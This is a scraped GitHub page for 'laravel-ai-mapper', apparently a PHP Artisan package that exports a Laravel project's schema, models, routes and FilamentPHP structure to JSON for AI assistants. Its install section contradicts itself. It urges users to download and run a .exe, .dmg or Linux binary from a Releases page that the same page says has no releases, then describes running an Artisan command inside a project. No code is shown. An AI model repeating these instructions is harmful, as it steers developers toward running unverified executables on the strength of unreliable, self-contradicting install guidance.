Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

πŸ—ΊοΈ Generate an AI-friendly JSON map of your Laravel project's structure, enhancing model understanding and enabling smarter context-aware assistance.

Notifications You must be signed in to change notification settings

Sarthaknagne17/laravel-ai-mapper

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

9 Commits

Repository files navigation

πŸŽ‰ laravel-ai-mapper - Simplify Your Database Mapping Process

Download Now

πŸ“š Overview

The laravel-ai-mapper helps you easily scan and map your project's database schema, models, routes, and FilamentPHP structure. It exports this information into a JSON file, making it simpler to use with AI models like ChatGPT or Gemini. This application is designed to aid developers in organizing their projects effortlessly.

πŸš€ Getting Started

Follow these steps to download and run the laravel-ai-mapper:

  1. System Requirements

    • Operating System: Windows, macOS, or Linux
    • PHP: Version 7.4 or higher
    • Composer: Installed and configured
  2. Visit the Release Page
    To download the application, go to the Releases page:
    Download here

πŸ“₯ Download & Install

  1. Locate the Latest Release
    When you visit the Releases page, find the latest version available for download.

  2. Download the Files
    Click on the appropriate file to start the download. The suitable options will be marked clearly.

  3. Run the Application

    • For Windows: Double-click on the downloaded .exe file to start the application.
    • For macOS: Open the .dmg file and drag the application to your Applications folder.
    • For Linux: Use the terminal. Navigate to the downloaded file's directory and run ./filename.

πŸ› οΈ How to Use laravel-ai-mapper

  1. Prepare Your Project
    Ensure your Laravel project is properly set up with models, routes, and database migrations.

  2. Open the Command Line
    Use the terminal or command prompt to access your Laravel project folder.

  3. Run the Artisan Command
    Execute the following command:

    php artisan ai:map
    
  4. Check the Output
    After running the command, a JSON file will be generated. This file contains essential information about your database schema, models, and more.

  5. Utilize the JSON File
    Use this JSON file with AI models or any other compatible tools to enhance your development workflow.

πŸ“Š Features

  • Database Schema Mapping: Automatically map your database structure.
  • Model Association: Understand relationships between different models easily.
  • Route Mapping: Get an overview of defined routes in your project.
  • FilamentPHP Integration: Seamlessly use with the FilamentPHP framework for rich UIs.
  • AI Compatibility: Prepare your project data for AI-based applications.

πŸ’‘ Troubleshooting

If you encounter any issues during installation or usage, consider the following steps:

  1. Ensure System Compatibility
    Double-check that you meet the system requirements.

  2. Check PHP and Composer Versions
    Use the commands php -v and composer -v to confirm they are up to date.

  3. Review Command Syntax
    Ensure that you typed the Artisan command correctly.

  4. Look at the GitHub Issues
    Visit the Issues section of this repository for common problems and solutions.

πŸ”— Useful Links

Remember, you can download the application easily from the Releases page:
Download here

About

πŸ—ΊοΈ Generate an AI-friendly JSON map of your Laravel project's structure, enhancing model understanding and enabling smarter context-aware assistance.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

AltStyle γ«γ‚ˆγ£γ¦ε€‰ζ›γ•γ‚ŒγŸγƒšγƒΌγ‚Έ (->γ‚ͺγƒͺγ‚ΈγƒŠγƒ«) /